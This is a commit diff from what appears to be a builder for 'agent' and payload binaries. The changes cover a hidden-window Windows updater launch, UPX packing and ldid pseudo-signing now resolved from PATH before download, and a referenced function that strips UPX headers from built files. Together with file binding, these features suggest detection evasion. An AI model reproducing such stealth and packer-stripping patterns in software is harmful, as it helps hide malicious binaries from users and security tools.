fix updating and also check path before downloading compilers (can't even fucking download them on windows)

This commit is contained in:
KingKDot
2026-05-05 22:22:29 -05:00
parent 54da22bb8c
commit 355470c657
3 changed files with 53 additions and 41 deletions
@@ -97,9 +97,15 @@ func launchDeferredUpdateScript(sourcePath string, targetPath string) error {
return err return err
} }
cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", scriptPath) cmd := exec.Command("cmd.exe", "/C", scriptPath)
cmd.Dir = filepath.Dir(scriptPath) cmd.Dir = filepath.Dir(scriptPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_PROCESS_GROUP} cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_CONSOLE}
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if err == nil {
cmd.Stdin = nullFile
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args) log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args)
if err := cmd.Start(); err != nil { if err := cmd.Start(); err != nil {
return fmt.Errorf("failed to start deferred updater: %w", err) return fmt.Errorf("failed to start deferred updater: %w", err)
+19 -39
View File
@@ -103,17 +103,6 @@ type BuildProcessConfig = {
boundFiles?: BoundFile[]; boundFiles?: BoundFile[];
}; };
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
try {
const check = await $`upx --version`.quiet().nothrow();
if (check.exitCode === 0) {
const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
return true;
}
} catch {}
return false;
}
function stripUpxHeaders(filePath: string): boolean { function stripUpxHeaders(filePath: string): boolean {
try { try {
@@ -338,20 +327,16 @@ export async function startBuildProcess(
let upxBin: string | null = null; let upxBin: string | null = null;
if (config.enableUpx) { if (config.enableUpx) {
if (await checkUpxAvailable(sendToStream)) { try {
upxBin = "upx"; const upxTool = await ensureToolchain("upx", sendToStream);
} else { upxBin = path.join(upxTool.binDir, "upx");
try { } catch (err: any) {
const upxTool = await ensureToolchain("upx", sendToStream); sendToStream({
upxBin = path.join(upxTool.binDir, "upx"); type: "output",
} catch (err: any) { text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`,
sendToStream({ level: "error",
type: "output", });
text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`, throw new Error("UPX not found");
level: "error",
});
throw new Error("UPX not found");
}
} }
} }
@@ -1051,20 +1036,15 @@ func runBoundFiles() {
// Attempt pseudo-signing with ldid (system-installed or downloaded on demand). // Attempt pseudo-signing with ldid (system-installed or downloaded on demand).
try { try {
let ldidBin: string | null = null; let ldidBin: string | null = null;
const sysLdid = await $`which ldid`.nothrow().quiet(); try {
if (sysLdid.exitCode === 0) { const tc = await ensureToolchain("ldid", sendToStream);
ldidBin = "ldid"; ldidBin = path.join(tc.binDir, "ldid");
} else { } catch (dlErr: any) {
try { sendToStream({
const tc = await ensureToolchain("ldid", sendToStream); type: "output",
ldidBin = path.join(tc.binDir, "ldid"); text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
} catch (dlErr: any) { level: "warn",
sendToStream({ });
type: "output",
text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`,
level: "warn",
});
}
} }
if (ldidBin) { if (ldidBin) {
const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet();
@@ -263,10 +263,36 @@ async function downloadAndExtract(
logger.info(`[toolchain] installed ${key} at ${rootDir}`); logger.info(`[toolchain] installed ${key} at ${rootDir}`);
} }
function tryResolveFromPath(key: ToolchainKey): EnsuredToolchain | null {
const m = MANIFESTS[key];
const primaryBin = m.ccBasename || m.binaryFilename;
if (!primaryBin) return null;
const found = Bun.which(primaryBin);
if (!found) return null;
const binDir = path.dirname(found);
return {
key,
rootDir: path.dirname(binDir),
binDir,
ccPath: m.ccBasename ? found : undefined,
cxxPath: m.cxxBasename ? (Bun.which(m.cxxBasename) ?? path.join(binDir, m.cxxBasename)) : undefined,
arPath: m.arBasename ? (Bun.which(m.arBasename) ?? path.join(binDir, m.arBasename)) : undefined,
};
}
export async function ensureToolchain( export async function ensureToolchain(
key: ToolchainKey, key: ToolchainKey,
send: SendToStream, send: SendToStream,
): Promise<EnsuredToolchain> { ): Promise<EnsuredToolchain> {
const fromPath = tryResolveFromPath(key);
if (fromPath) {
logger.info(`[toolchain] using ${key} from PATH: ${fromPath.binDir}`);
send({ type: "output", text: `[toolchain] Using system ${MANIFESTS[key].displayName} from PATH\n`, level: "info" });
return fromPath;
}
if (isInstalled(key)) { if (isInstalled(key)) {
return resolveEnsured(key); return resolveEnsured(key);
} }